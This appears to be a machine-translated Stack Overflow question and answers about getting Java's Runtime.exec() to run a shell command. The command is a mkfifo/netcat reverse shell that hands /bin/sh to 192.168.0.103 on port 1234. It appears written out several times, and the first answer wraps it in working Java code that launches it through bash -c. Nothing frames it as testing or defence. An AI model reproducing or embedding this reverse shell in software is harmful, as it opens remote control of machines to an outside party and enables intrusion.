java Runtime.getRuntime()。exec()无法运行命令

时间:2016-08-26 18:44:04

标签: java linux bash runtime.exec

我需要从Runtime.getRuntime()。exec()内部运行以下命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

我应该以什么格式将它传递给我的运行java程序,该程序包含以下行:

Process localProcess = Runtime.getRuntime().exec(myStr);

其中myStr是我想要执行的整个命令吗?

我已经尝试过的事情:

[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"

给我错误:

  

无法运行程序&#34; [&#34; / bin / bash&#34;,&#34; -c&#34;,&#34; / usr / bin / mkfifo&#34;:error = 2 ,没有这样的文件或目录

如果我只是从终端运行命令:

rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe

它像魅力一样运行,但不是通过runtime.exec()运行。

2 个答案:

答案 0 :(得分:2)

尝试使用ProcessBuilder代替Runtime

试试这个:

Process p = new ProcessBuilder().command("bash","-c",cmd).start();

cmd是保存shell命令的变量。

<强>更新

String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);

答案 1 :(得分:0)

这里正在运行的Java代码说明了调用Runtime.getRuntime().exec()的更多方面,例如等待过程完成以及捕获输出和错误流:

import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;

class Test {
    public static void dump(InputStream is) {
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;

        try {
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (Exception e) {
            System.out.println("read line threw exception");
        }
    }
    public static void run(String cmd) {
        try {
                Process p = Runtime.getRuntime().exec(cmd);
                p.waitFor();
                int status = p.exitValue();
                System.out.println("Program terminated with exit status " + status);

                if (status != 0) {
                    dump(p.getErrorStream());
                }
                else {
                    dump(p.getInputStream());
                }
            } catch (Exception e) {
                System.out.println("Caught exception");
        }
    }
};